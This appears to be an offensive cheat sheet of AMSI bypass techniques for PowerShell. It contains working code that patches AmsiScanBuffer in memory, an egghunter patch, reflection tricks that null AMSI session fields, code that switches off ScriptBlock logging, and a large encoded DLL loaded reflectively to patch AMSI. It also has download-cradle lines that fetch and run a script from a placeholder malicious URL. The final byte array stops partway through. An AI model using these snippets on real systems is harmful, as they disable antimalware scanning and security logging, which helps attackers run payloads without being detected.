AMSI Bypass

Summary

Which Endpoint Protection is Using AMSI

- https://github.com/subat0mik/whoamsi/wiki/Which-Endpoint-Protection-is-Using-AMSI%3F

Patching amsi.dll AmsiScanBuffer by rasta-mouse

```
$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);

}
"@
```

```
Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

Dont use net webclient

> Not Working anymore, there was a patch for it

```
$webreq = [System.Net.WebRequest]::Create('https://maliciousscripturl/malicious.ps1')
$resp=$webreq.GetResponse()
$respstream=$resp.GetResponseStream()
$reader=[System.IO.StreamReader]::new($respstream)
$content=$reader.ReadToEnd()
IEX($content)
```

The Short version of dont use powershell net webclient

> Not Working anymore, there was a patch for it

```
IEX([Net.Webclient]::new().DownloadString("https://maliciousscripturl/malicious.ps1")
)
```

Amsi ScanBuffer Patch

Egghunter with blog post: https://www.contextis.com/us/blog/amsi-bypass

```
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
```

```
}
"@

Add-Type $Kernel32

Class Hunter {
    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
        while ($true) {
            [int]$count = 0

            while ($true) {
                [IntPtr]$address = [IntPtr]::Add($address, 1)
                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq
$egg.Get($count)) {
                    $count++
                    If ($count -eq $egg.Length) {
                        return [IntPtr]::Subtract($address, $egg.Length - 1)
                    }
                } Else { break }
            }
        }

        return $address
    }
}

[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"

[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule,
"DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"

If ([IntPtr]::Size -eq 8) {
    Write-Host "[+] 64-bits process"
    [byte[]]$egg = [byte[]] (
        0x4C, 0x8B, 0xDC,       # mov     r11,rsp
        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
        0x57,                   # push    rdi
        0x41, 0x56,             # push    r14
        0x41, 0x57,             # push    r15
        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
    )
} Else {
    Write-Host "[+] 32-bits process"
    [byte[]]$egg = [byte[]] (
        0x8B, 0xFF,             # mov     edi,edi
        0x55,                   # push    ebp
        0x8B, 0xEC,             # mov     ebp,esp
        0x83, 0xEC, 0x18,       # sub     esp,18h
        0x53,                   # push    ebx
        0x56                    # push    esi
    )
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
```

```
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer)
| Out-Null

$patch = [byte[]] (
    0x31, 0xC0,    # xor rax, rax
    0xC3           # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)

$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer,
[ref]$a) | Out-Null
```

Forcing an error

```
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSessio
n","NonPublic,Static").SetValue($null, $null);
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContex
t","NonPublic,Static").SetValue($null, [IntPtr]$mem)
```

Disable Script Logging

```
$settings =
[Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPol
icySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl
ockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBl
ockLogging"].Add("EnableScriptBlockLogging", "0")
```

```
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatur
es","NonPublic,static").SetValue($null, (New-Object
'System.Collections.Generic.HashSet[string]'))
```

Amsi Buffer Patch - In memory

```
function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAA
AAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc
m9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAMBOqJAAAAAAAAAAAO
```

AAIiALATAAAA4AAAAGAAAAAAAAWiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAA
AAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAcsAABPAAAAAEAAADADAAAAAAAA
AAAAAAAAAAAAAAAAAAGAAAAwAAAAoKwAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAIAAACAAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAaAwAAAAgAAAADgAAAAIAAAAAAA
AAAAAAAAAAAACAAAGAucnNyYwAAADADAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAA
AAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAA7LAAAAAAAAAEgAAAACAAUAQCEA
AOgJAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwB
ADZAAAAAQAAEQByAQAAcCgCAAAGCgZ+DAAACigNAAAKEwYRBiwUAHITAABwKA4AAAoAFxMHOKUAAAAGcmsAAH
AoAQAABgsHfgwAAAooDQAAChMIEQgsEQByiQAAcCgOAAAKABcTByt3G2ooDwAACgwWDQcIH0ASAygDAAAGFv4
BEwkRCSwRAHL9AABwKA4AAAoAFxMHK0gZjRIAAAEl0AEAAAQoEAAAChMEGSgRAAAKEwURBBYRBRkoEgAACgAH
HxsoEwAAChEFGSgEAAAGAHJzAQBwKA4AAAoAFhMHKwARByoiAigUAAAKACoAAEJTSkIBAAEAAAAAAAwAAAB2N
C4wLjMwMzE5AAAAAAAUAbAAAANQCAAAjfgAAQAMAALADAAAjU3RyaW5ncwAAAADwBgAAyAEAACNVUwC4CAAAEA
AAACNHVUlEAAAAyAgAACABAAAjQmxvYgAAAAAAAAAACAAABV5UCNAkCAAAA+gEzABYAAAEAAAAWAAAABAAAAAE
AAAAGAAAACgAAABQAAAALAAAAAQAAAAEAAAACAAAABAAAAAEAAAABAAAAAQAAAAEAAAAAAAFcCAQAAAAAABgCa
AdACBgDsAdACBgD0AJ4CDwDwAgAABgAfARsCBgDTAW0CBgB7AW0CBgA4AW0CBgBVAW0CBgC6AW0CBgAIAW0CB
gAyA2YCBgDZANACBgDPAGYCBgCXAmYCBgCnAGYCBgCWAmYCBgAKAmYCBgD/AtACBgB/A2YCBgCUAGYCBgBCAr
ECAAAAACYAAAAAAAEAAQABABAAdwAOAzEAAQABAAABAAAvAAAAMQABAAcAEwEAAAoAAAA5AAIABwAzAU4AWwA
AAAAAgACWIBkDXwABAAAAAACAAJYgigNlAAMAAAAAAIAAliBIA2oABAAAAAAAgACRIJkDcwAIAFAgAAAAAJYA
jAB6AAsANSEAAAAAhhiQAgYACwAAAAEArwAAAAIAtwAAAAEAwAAAAAEAKAMAAAIADwIAAAMAVwMCAAQAOQMAA
AEAcAMAAAIAfAAAAAMAFgIJAJACAQARAJACBgAZAJACCgApAJACEAAxAJACEAA5AJACEABBAJACEABJAJACEA
BRAJACEABZAJACEABpAJACBgB5AIsCIwB5AKQDJgCBAMUALACJAGQDMQCZAHUDNgCxADUCPgCxAIUDQwB5AH8
CTABhAJACBgAuAAsAfgAuABMAhwAuABsApgAuACMArwAuACsA5gAuADMA9gAuADsAAQEuAEMADgEuAEsA5gAu
AFMA5gBjAFsAGQEBAAMAAAAEABUAAQBKAgABAwAZAwEAAAEFAIoDAQAAAQcASAMBAAABCQCWAwIAYCwAAAEAB
IAAAAEAAAAAAAAAAAAAAAAADgMAAAIAAAAAAAAAAAAAAAFIAgAAAAAAABAADAAAAAAAAa2VybmVsMzIAX19TdG
F0aWNBcnJheUluaXRUeXBlU2l6ZT0zADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgA
1MUNBRkI0ODEzOUIwMkUwNjFENDkxOUM1MTc2NjIxQkY4N0RBQ0VEAEFNU0kAc3JjAG5ldHN0YW5kYXJkAERp
c2FibGUAUnVudGltZUZpZWxkSGFuZGxlAENvbnNvbGUAaE1vZHVsZQBwcm9jTmFtZQBuYW1lAFdyaXRlTGluZ
QBWYWx1ZVR5cGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBBc3NlbW
JseVRpdGxlQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR
0cmlidXRlAEFzc2VtYmx5SW5mb3JtYXRpb25hbFZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0
aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0c
mlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBCeX
RlAGR3U2l6ZQBzaXplAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAQWxsb2NIR2xvYmFsAE1hcnNoYWwAS2V
ybmVsMzIuZGxsAEFtc2lCeXBhc3MuZGxsAFN5c3RlbQBTeXN0ZW0uUmVmbGVjdGlvbgBvcF9BZGRpdGlvbgBa
ZXJvAC5jdG9yAFVJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2a
WNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFJ1bnRpbWVIZWxwZX
JzAEFtc2lCeXBhc3MAR2V0UHJvY0FkZHJlc3MAbHBBZGRyZXNzAE9iamVjdABscGZsT2xkUHJvdGVjdABWaXJ
0dWFsUHJvdGVjdABmbE5ld1Byb3RlY3QAb3BfRXhwbGljaXQAZGVzdABJbml0aWFsaXplQXJyYXkAQ29weQBM
b2FkTGlicmFyeQBSdGxNb3ZlTWVtb3J5AG9wX0VxdWFsaXR5AAARYQBtAHMAaQAuAGQAbABsAABXRQBSAFIAT
wBSADoAIABDAG8AdQBsAGQAIABuAG8AdAAgAHIAZQB0AHIAaQBlAHYAZQAgAGEAbQBzAGkALgBkAGwAbAAgAH
AAbwBpAG4AdABlAHIALgAAHUEAbQBzAGkAUwBjAGEAbgBCAHUAZgBmAGUAcgAAc0UAUgBSAE8AUgA6ACAAQwB
vAHUAbABkACAAbgBvAHQAIAByAGUAdAByAGkAZQB2AGUAIABBAG0AcwBpAFMAYwBhAG4AQgB1AGYAZgBlAHIA
IABmAHUAbgBjAHQAaQBvAG4AIABwAG8AaQBuAHQAZQByAAB1RQBSAFIATwBSADoAIABDAG8AdQBsAGQAIABuA
G8AdAAgAGMAaABhAG4AZwBlACAAQQBtAHMAaQBTAGMAYQBuAEIAdQBmAGYAZQByACAAbQBlAG0AbwByAHkAIA
BwAGUAcgBtAGkAcwBzAGkAbwBuAHMAIQAAU0cAcgBlAGEAdAAgAHMAdQBjAGMAZQBzAHMALgAgAEEAbQBzAGk
AUwBjAGEAbgBCAHUAZgBmAGUAcgAgAHAAYQB0AGMAaABlAGQAIQAgADoAKQAAALj1zdc1kW1DrpRSfqgqDIUA
BCABAQgDIAABBSABARERBCABAQ4NBwoYGBkJHQUYAggCAgIGGAUAAgIYGAQAAQEOBAABGQsHAAIBElERVQQAA
RgICAAEAR0FCBgIBQACGBgICMx7E//NLd1RAwYREAUAAhgYDgQAARgOCAAEAhgZCRAJBgADARgYCAMAAAgIAQ
AIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEABwEAAAAANgEAGS5ORVRTdGFuZGFyZCx
WZXJzaW9uPXYyLjABAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lAA8BAApBbXNpQnlwYXNzAAAKAQAFRGVidWcA
AAwBAAcxLjAuMC4wAAAKAQAFMS4wLjAAAAQBAAAAAAAAAAAAOsRk5QABTVACAAAAZAAAAHwrAAB8DQAAAAAAA
AAAAABAAAAEwAAACcAAADgKwAA4A0AAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTjA86n5+khU
mILRfMmrpC/wEAAAAvb3B0L1Byb2plY3RzL0Ftc2lCeXBhc3MvQW1zaUJ5cGFzcy9vYmovRGVidWcvbmV0c3R
hbmRhcmQyLjAvQW1zaUJ5cGFzcy5wZGIAU0hBMjU2AIwPOp+fpIWJyC0XzJq6Qv86xGTlbSfIKidw8ohPKRL4
LywAAAAAAAAAAAAASSwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADssAAAAAAAAAAAAAAAAX0NvckRsbE1ha
W4AbXNjb3JlZS5kbGwAAAAAAAD/JQAgABAx/5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAQAAAAAAS
AAAAFhAAADUAgAAAAAAAAAAADUAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/g
AAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQB
sAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAENAIAAAEAUwB0AHIA
aQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAEAIAAAEAMAAwADAAMAAwADQAYgAwAAAANgALAAEAQwBvAG0AcABhA
G4AeQBOAGEAbQBlAAAAAABBAG0AcwBpAEIAeQBwAGEAcwBzAAAAAAA+AAsAAQBGAGkAbABlAEQAZQBzAGMAcg
BpAHAAdABpAG8AbgAAAAAAQQBtAHMAaQBCAHkAcABhAHMAcwAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGk
AbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAPgAPAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABBAG0AcwBp
AEIAeQBwAGEAcwBzAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAA
ABGAA8AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQQBtAHMAaQBCAHkAcABhAHMAcwAuAG
QAbABsAAAAAAA2AAsAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEEAbQBzAGkAQgB5AHAAYQBzAHMAAAA
AADAABgABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAAADgACAABAEEAcwBzAGUA
bQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
IAAADAAAAFw8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA==")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Patch()
}
```

Same as 6 but integer Bytes instead of Base64

```
function MyPatch{
  if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
    [Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0,
255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14,
31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112,
114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114,
117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36,
0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 27, 37, 18, 183, 0, 0, 0, 0, 0, 0, 0,
0, 224, 0, 34, 32, 11, 1, 48, 0, 0, 14, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 44, 0, 0,
0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0,
0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 64, 133, 0, 0,
16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 11, 44, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 48, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 44, 43, 0, 0, 84, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0,
0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 108, 12, 0,
0, 0, 32, 0, 0, 0, 14, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0,
0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 48, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 16,
```

0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99,
0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0,
0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 64, 33, 0, 0, 236, 9, 0, 0, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 4, 0, 217, 0,
0, 0, 1, 0, 0, 17, 0, 114, 1, 0, 0, 112, 40, 1, 0, 0, 6, 10, 6, 126, 12, 0, 0, 10,
40, 13, 0, 0, 10, 19, 6, 17, 6, 44, 20, 0, 114, 19, 0, 0, 112, 40, 14, 0, 0, 10, 0,
23, 19, 7, 56, 165, 0, 0, 0, 6, 114, 107, 0, 0, 112, 40, 2, 0, 0, 6, 11, 7, 126, 12,
0, 0, 10, 40, 13, 0, 0, 10, 19, 8, 17, 8, 44, 17, 0, 114, 137, 0, 0, 112, 40, 14, 0,
0, 10, 0, 23, 19, 7, 43, 119, 26, 106, 40, 15, 0, 0, 10, 12, 22, 13, 7, 8, 31, 64,
18, 3, 40, 3, 0, 0, 6, 22, 254, 1, 19, 9, 17, 9, 44, 17, 0, 114, 255, 0, 0, 112, 40,
14, 0, 0, 10, 0, 23, 19, 7, 43, 72, 25, 141, 18, 0, 0, 1, 37, 208, 1, 0, 0, 4, 40,
16, 0, 0, 10, 19, 4, 25, 40, 17, 0, 0, 10, 19, 5, 17, 4, 22, 17, 5, 25, 40, 18, 0, 0,
10, 0, 7, 31, 27, 40, 19, 0, 0, 10, 17, 5, 25, 40, 4, 0, 0, 6, 0, 114, 117, 1, 0,
112, 40, 14, 0, 0, 10, 0, 22, 19, 7, 43, 0, 17, 7, 42, 34, 2, 40, 20, 0, 0, 10, 0,
42, 0, 0, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46,
51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 212, 2, 0, 0, 35, 126, 0, 0, 64,
3, 0, 0, 176, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 240, 6, 0,
0, 204, 1, 0, 0, 35, 85, 83, 0, 188, 8, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0,
0, 204, 8, 0, 0, 32, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1,
87, 149, 2, 52, 9, 2, 0, 0, 0, 250, 1, 51, 0, 22, 0, 0, 1, 0, 0, 0, 22, 0, 0, 0, 4,
0, 0, 0, 1, 0, 0, 0, 6, 0, 0, 0, 10, 0, 0, 0, 20, 0, 0, 0, 11, 0, 0, 0, 1, 0, 0, 0,
1, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0,
0, 0, 85, 2, 1, 0, 0, 0, 0, 0, 6, 0, 141, 1, 206, 2, 6, 0, 223, 1, 206, 2, 6, 0, 231,
0, 156, 2, 15, 0, 238, 2, 0, 0, 6, 0, 18, 1, 14, 2, 6, 0, 198, 1, 107, 2, 6, 0, 110,
1, 107, 2, 6, 0, 43, 1, 107, 2, 6, 0, 72, 1, 107, 2, 6, 0, 173, 1, 107, 2, 6, 0, 251,
0, 107, 2, 6, 0, 48, 3, 100, 2, 6, 0, 204, 0, 206, 2, 6, 0, 194, 0, 100, 2, 6, 0,
149, 2, 100, 2, 6, 0, 154, 0, 100, 2, 6, 0, 148, 2, 100, 2, 6, 0, 253, 1, 100, 2, 6,
0, 253, 2, 206, 2, 6, 0, 125, 3, 100, 2, 6, 0, 135, 0, 100, 2, 6, 0, 64, 2, 175, 2,
0, 0, 0, 0, 38, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 16, 0, 46, 2, 16, 3, 49, 0, 1, 0, 1,
0, 0, 1, 0, 0, 47, 0, 0, 0, 49, 0, 1, 0, 7, 0, 19, 1, 0, 0, 10, 0, 0, 0, 57, 0, 2, 0,
7, 0, 51, 1, 78, 0, 91, 0, 0, 0, 0, 0, 128, 0, 150, 32, 136, 3, 95, 0, 1, 0, 0, 0, 0,
0, 128, 0, 150, 32, 23, 3, 100, 0, 2, 0, 0, 0, 0, 0, 128, 0, 150, 32, 70, 3, 106, 0,
4, 0, 0, 0, 0, 0, 128, 0, 145, 32, 151, 3, 115, 0, 8, 0, 80, 32, 0, 0, 0, 0, 150, 0,
40, 2, 122, 0, 11, 0, 53, 33, 0, 0, 0, 0, 134, 24, 142, 2, 6, 0, 11, 0, 0, 0, 1, 0,
179, 0, 0, 0, 1, 0, 162, 0, 0, 0, 2, 0, 170, 0, 0, 0, 1, 0, 38, 3, 0, 0, 2, 0, 2, 2,
